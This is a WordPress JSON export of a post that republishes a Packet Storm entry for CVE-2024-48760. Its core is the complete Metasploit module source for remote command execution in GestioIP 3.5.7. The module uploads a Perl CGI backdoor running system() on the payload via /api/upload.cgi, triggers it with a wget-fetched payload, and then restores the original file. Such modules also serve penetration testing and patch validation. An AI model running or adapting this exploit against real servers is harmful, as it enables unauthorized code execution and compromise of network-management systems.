{"id":54574,"date":"2026-05-14T12:44:08","date_gmt":"2026-05-14T12:44:08","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=54574"},"modified":"2026-05-14T12:44:08","modified_gmt":"2026-05-14T12:44:08","slug":"gestioip-357-remote-command-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=54574","title":{"rendered":"\ud83d\udcc4 GestioIP 3.5.7 Remote Command Execution_PACKETSTORM:221084"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-14T16:32:40&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a command execution via file upload. If GestioIP is configured to use no authentication for admin account, no password is required to exploit the vulnerability. Otherwise, an authenticated user with admin right on the&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-14T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-14T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 GestioIP 3.5.7 Remote Command Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:221084&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-48760&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Exploit::CmdStager\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;GestioIP 3.5.7 Remote Command Execution&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits a command execution via file upload.\\n              If GestioIP is configured to use no authentication for admin account,\\n              no password is required to exploit the vulnerability. Otherwise, an authenticated\\n              user with admin right on the web site is required to exploit.\\n            },\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;maxibelino&#8217;, # Original finder of CVE-2024-48760\\n              &#8216;odeez24&#8217; # Metasploit module\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [ &#8216;CVE&#8217;, &#8216;2024-48760&#8217; ],\\n              [ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/maxibelino\/CVEs\/tree\/main\/CVE-2024-48760&#8217;]\\n            ],\\n            &#8216;Platform&#8217; =\\u003e [ &#8216;linux&#8217; ],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;Linux\/unix Command&#8217;,\\n                {\\n                  &#8216;Arch&#8217; =\\u003e [ ARCH_CMD ],\\n                  &#8216;Platform&#8217; =\\u003e [&#8216;linux&#8217;],\\n                  &#8216;Type&#8217; =\\u003e :nix_fetch,\\n                  &#8216;DefaultOptions&#8217; =\\u003e {\\n                    &#8216;FETCH_COMMAND&#8217; =\\u003e &#8216;WGET&#8217;,\\n                    &#8216;FETCH_DELETE&#8217; =\\u003e true\\n                  }\\n                }\\n              ]\\n            ],\\n            &#8216;Privileged&#8217; =\\u003e false,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-01-14&#8217;,\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, CONFIG_CHANGES]\\n            }\\n          )\\n        )\\n    \\n        register_options(\\n          [\\n            OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;The username to auth as with admin right&#8217;, &#8216;gipadmin&#8217;]),\\n            OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;The password to auth with&#8217;, &#8221;]),\\n          ]\\n        )\\n      end\\n    \\n      def backdoor_content(payload = nil)\\n        \\u003c\\u003c~PERL\\n          #!\/usr\/bin\/perl -w\\n    \\n          use strict;\\n    \\n          print \\&#8221;Cache-Control: no-cache\\\\n\\&#8221;;\\n          print \\&#8221;Content-type: text\/html\\\\n\\\\n\\&#8221;;\\n    \\n          system(q(#{payload}));\\n        PERL\\n      end\\n    \\n      def original_content\\n        \\u003c\\u003c~&#8217;PERL&#8217;\\n          #!\/usr\/bin\/perl\\n    \\n          use Cwd;\\n          use CGI;\\n    \\n          my $debug = 1;\\n          my $q = new CGI;\\n    \\n          my ($status, $message, $exit);\\n          my $output_type_header = \\&#8221;text\/xml\\&#8221;;\\n          $exit = 0;\\n    \\n          my $filename = $q-\\u003eparam(\\&#8221;file_name\\&#8221;) || \\&#8221;\\&#8221;;\\n    \\n          print STDERR \\&#8221;FOUND FILENAME: $filename\\\\n\\&#8221; if $debug;\\n    \\n          if ( $filename !~ \/^[A-Za-z0-9-_.]+$\/ ){\\n            $message = \\&#8221;ERROR: only the following characters are allowed for file_name: A-Z,a-z,0-9,-,_,.\\&#8221;;\\n            $status =\\&#8221;400 Bad Request\\&#8221;;\\n            $exit = 1;\\n            printResponse(\\n              message   =\\u003e \\&#8221;$message\\&#8221;,\\n              status =\\u003e \\&#8221;$status\\&#8221;,\\n              exit =\\u003e \\&#8221;$exit\\&#8221;,\\n            );\\n          }\\n    \\n          $POST_MAX=1024 * 10000;  # 10MB max\\n          my $content_length = defined $ENV{&#8216;CONTENT_LENGTH&#8217;} ? $ENV{&#8216;CONTENT_LENGTH&#8217;} : 0;\\n          if (($POST_MAX \\u003e 0) \\u0026\\u0026 ($content_length \\u003e $POST_MAX)) {\\n            $message = \\&#8221;ERROR: Upload is limited to a file size of max. 10MB\\&#8221;;\\n            print STDERR \\&#8221;$message\\\\n\\&#8221; if $debug;\\n            $status =\\&#8221;500 Internal Server Error\\&#8221;;\\n            $exit = 1;\\n            printResponse(\\n              message   =\\u003e \\&#8221;$message\\&#8221;,\\n              status =\\u003e \\&#8221;$status\\&#8221;,\\n              exit =\\u003e \\&#8221;$exit\\&#8221;,\\n            );\\n          }\\n    \\n          my $lightweight_fh  = $q-\\u003eupload(&#8216;leases_file&#8217;);\\n    \\n    \\n    \\n          if (defined $lightweight_fh) {\\n    \\n            print STDERR \\&#8221;HANDLE DEFINED\\\\n\\&#8221; if $debug;\\n    \\n            # Upgrade the handle to one compatible with IO::Handle:\\n            my $io_handle = $lightweight_fh-\\u003ehandle;\\n    \\n            my $file = &#8216;\/usr\/share\/gestioip\/var\/data\/&#8217; . $filename;\\n            open (OUTFILE,&#8217;\\u003e&#8217;, \\&#8221;$filename\\&#8221;) or $message = \\&#8221;ERROR: can not open file to write: $!\\&#8221;;\\n    \\n            if ( $message ) {\\n              print STDERR \\&#8221;$message\\\\n\\&#8221; if $debug;\\n              $status =\\&#8221;500 Internal Server Error\\&#8221;;\\n              $exit = 1;\\n              printResponse(\\n                message   =\\u003e \\&#8221;$message\\&#8221;,\\n                status =\\u003e \\&#8221;$status\\&#8221;,\\n                exit =\\u003e \\&#8221;$exit\\&#8221;,\\n              );\\n            }\\n    \\n            while ($bytesread = $io_handle-\\u003eread($buffer,1024)) {\\n                    print OUTFILE $buffer;\\n            }\\n    \\n            close OUTFILE;\\n    \\n          } else {\\n            print STDERR \\&#8221;NO HANDLE DEFINED\\\\n\\&#8221; if $debug;\\n            $message = \\&#8221;ERROR: No leases file received\\&#8221;;\\n            $status =\\&#8221;400 Bad Request\\&#8221;;\\n            $exit = 1;\\n            printResponse(\\n                    message   =\\u003e \\&#8221;$message\\&#8221;,\\n                    status =\\u003e \\&#8221;$status\\&#8221;,\\n                    exit =\\u003e \\&#8221;$exit\\&#8221;,\\n            );\\n          }\\n    \\n    \\n          $status =\\&#8221;200 OK\\&#8221;;\\n          printResponse(\\n            message   =\\u003e \\&#8221;OK\\&#8221;,\\n            status =\\u003e \\&#8221;$status\\&#8221;,\\n            exit =\\u003e \\&#8221;$exit\\&#8221;,\\n          );\\n    \\n    \\n    \\n          ###################\\n          #### Subroutines\\n          ###################\\n    \\n          sub printResponse {\\n            my %args = @_;\\n    \\n            my $status = $args{status} || \\&#8221;\\&#8221;;\\n            my $message = $args{message} || \\&#8221;\\&#8221;;\\n            my $exit = $args{exit} || 0;\\n    \\n            my $output = \\&#8221;\\&#8221;;\\n            $output .= \\&#8221;\\u003c?xml version=&#8217;1.0&#8242; encoding=&#8217;UTF-8&#8242;?\\u003e\\\\n\\&#8221;;\\n            $output .= \\&#8221;\\u003cResult\\u003e\\\\n\\&#8221;;\\n            $output .= \\&#8221;    \\u003cMessage\\u003e$message\\u003c\/Message\\u003e\\\\n\\&#8221;;\\n            $output .= \\&#8221;\\u003c\/Result\\u003e\\\\n\\&#8221;;\\n    \\n            printHtmlHeader(\\n              type   =\\u003e \\&#8221;$output_type_header\\&#8221;,\\n              status =\\u003e \\&#8221;200 OK\\&#8221;,\\n            );\\n    \\n            print $output;\\n    \\n            exit $exit;\\n          }\\n    \\n          sub printHtmlHeader {\\n            my %args = @_;\\n    \\n            my $type = $args{type} || \\&#8221;\\&#8221;;\\n            $type = \\&#8221;-type =\\u003e \\\\\\&#8221;$type\\\\\\&#8221;\\&#8221; if $type;\\n            my $status = $args{status} || \\&#8221;\\&#8221;;\\n            $status = \\&#8221;-status =\\u003e \\\\\\&#8221;$status\\\\\\&#8221;\\&#8221; if $status;\\n    \\n            my $header_params = $type . \\&#8221;,\\&#8221; . $allow . \\&#8221;,\\&#8221; . $location . \\&#8221;,\\&#8221; . $status;\\n            $header_params =~ s\/^,\/\/;\\n            $header_params =~ s\/,$\/\/;\\n    \\n            print $q-\\u003eheader( eval($header_params) );\\n          }\\n    \\n          #curl \\\\\\n          #  -F \\&#8221;userid=1\\&#8221; \\\\\\n          #  -F \\&#8221;filecomment=This is an image file\\&#8221; \\\\\\n          #  -F \\&#8221;image=@\/home\/user1\/Desktop\/test.jpg\\&#8221; \\\\\\n          #  localhost\/uploader.php\\n        PERL\\n      end\\n    \\n      def check\\n        print_status(&#8216;Checking if the target is reachable&#8230;&#8217;)\\n        if upload_file(&#8216;README_server.txt&#8217;, &#8221;)\\n          return Exploit::CheckCode::Vulnerable(&#8216;File upload successful, the target is vulnerable GestioIP&#8217;)\\n        end\\n    \\n        Exploit::CheckCode::Safe(&#8216;Target is not vulnerable&#8217;)\\n      end\\n    \\n      # Upload the file on the target server\\n      #\\n      # @param filename [String] the filename to upload\\n      # @param content [String] the content\\n      # @return [Boolean] true if the file was successfully uploaded, false otherwise.\\n      def upload_file(filename, content)\\n        data = Rex::MIME::Message.new\\n        data.add_part(\\n          filename,\\n          nil,\\n          nil,\\n          &#8216;form-data; name=\\&#8221;file_name\\&#8221;&#8216;\\n        )\\n        data.add_part(\\n          content,\\n          &#8216;application\/x-httpd-cgi&#8217;,\\n          nil,\\n          \\&#8221;form-data; name=\\\\\\&#8221;leases_file\\\\\\&#8221;; filename=\\\\\\&#8221;#{filename}\\\\\\&#8221;\\&#8221;\\n        )\\n    \\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;\/api\/upload.cgi&#8217;),\\n          &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{data.bound}\\&#8221;,\\n          &#8216;data&#8217; =\\u003e data.to_s,\\n          &#8216;authorization&#8217; =\\u003e basic_auth(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;])\\n        })\\n        if res\\u0026.code == 200\\n          if res.body.include?(&#8216;ERROR&#8217;)\\n            return false\\n          end\\n    \\n          return true\\n        elsif res.code == 401\\n          print_error(&#8216;Authentification refused, Please give valid admin login informations&#8217;)\\n          return false\\n        else\\n          return false\\n        end\\n      end\\n    \\n      # Upload the payload for linux system to the target.\\n      def execute_linux\\n        print_status(&#8216;Executing payload on the target server &#8230;&#8217;)\\n        send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;\/api\/upload.cgi&#8217;),\\n          &#8216;authorization&#8217; =\\u003e basic_auth(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;])\\n        })\\n        print_good(&#8216;Payload successfully executed&#8217;)\\n      end\\n    \\n      # Restore the original content of the target_link to remove the backdoor\\n      #   script.\\n      def on_new_session(session)\\n        super\\n        begin\\n          print_status(&#8216;Cleaning up backdoor file on target server &#8230;&#8217;)\\n          if session.type == &#8216;meterpreter&#8217;\\n            session.fs.file.rm(&#8216;README_server.txt&#8217;)\\n            session.fs.file.new(&#8216;upload.cgi&#8217;, &#8216;wb&#8217;).write(original_content)\\n            fd.close\\n          else\\n            session.shell_command_token(&#8216;rm README_server.txt&#8217;)\\n            session.shell_command_token(\\&#8221;echo #{Base64.strict_encode64(original_content)} | base64 -d \\u003e upload.cgi\\&#8221;)\\n          end\\n          print_good(&#8216;Backdoor file successfully removed&#8217;)\\n        end\\n      end\\n    \\n      # Main method to run the exploit.\\n      def exploit\\n        print_status(&#8216;Upload the backdoor file &#8230;&#8217;)\\n        content = backdoor_content(payload.encoded)\\n        unless (upload_file(&#8216;upload.cgi&#8217;, content))\\n          fail_with(Failure::NotVulnerable, &#8216;Unable to upload the backdoor file&#8217;)\\n        end\\n        print_good(&#8216;Backdoor file successfully uploaded&#8217;)\\n        execute_linux\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/221084&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/221084\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-14T16:32:40&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a command execution via file upload. If GestioIP is configured to use no authentication for admin account, no password is required&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-54574","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 GestioIP 3.5.7 Remote Command Execution_PACKETSTORM:221084 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=54574\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 GestioIP 3.5.7 Remote Command Execution_PACKETSTORM:221084 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-14T16:32:40&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a command execution via file upload. If GestioIP is configured to use no authentication for admin account, no password is required...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=54574\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-14T12:44:08+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54574#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54574\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 GestioIP 3.5.7 Remote Command Execution_PACKETSTORM:221084\",\"datePublished\":\"2026-05-14T12:44:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54574\"},\"wordCount\":1508,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=54574#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54574\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54574\",\"name\":\"\ud83d\udcc4 GestioIP 3.5.7 Remote Command Execution_PACKETSTORM:221084 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-14T12:44:08+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54574#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=54574\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54574#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 GestioIP 3.5.7 Remote Command Execution_PACKETSTORM:221084\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 GestioIP 3.5.7 Remote Command Execution_PACKETSTORM:221084 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=54574","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 GestioIP 3.5.7 Remote Command Execution_PACKETSTORM:221084 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-14T16:32:40&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a command execution via file upload. If GestioIP is configured to use no authentication for admin account, no password is required...","og_url":"https:\/\/zero.redgem.net\/?p=54574","og_site_name":"zero redgem","article_published_time":"2026-05-14T12:44:08+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=54574#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=54574"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 GestioIP 3.5.7 Remote Command Execution_PACKETSTORM:221084","datePublished":"2026-05-14T12:44:08+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=54574"},"wordCount":1508,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=54574#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=54574","url":"https:\/\/zero.redgem.net\/?p=54574","name":"\ud83d\udcc4 GestioIP 3.5.7 Remote Command Execution_PACKETSTORM:221084 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-14T12:44:08+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=54574#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=54574"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=54574#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 GestioIP 3.5.7 Remote Command Execution_PACKETSTORM:221084"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/54574","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=54574"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/54574\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=54574"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=54574"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=54574"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}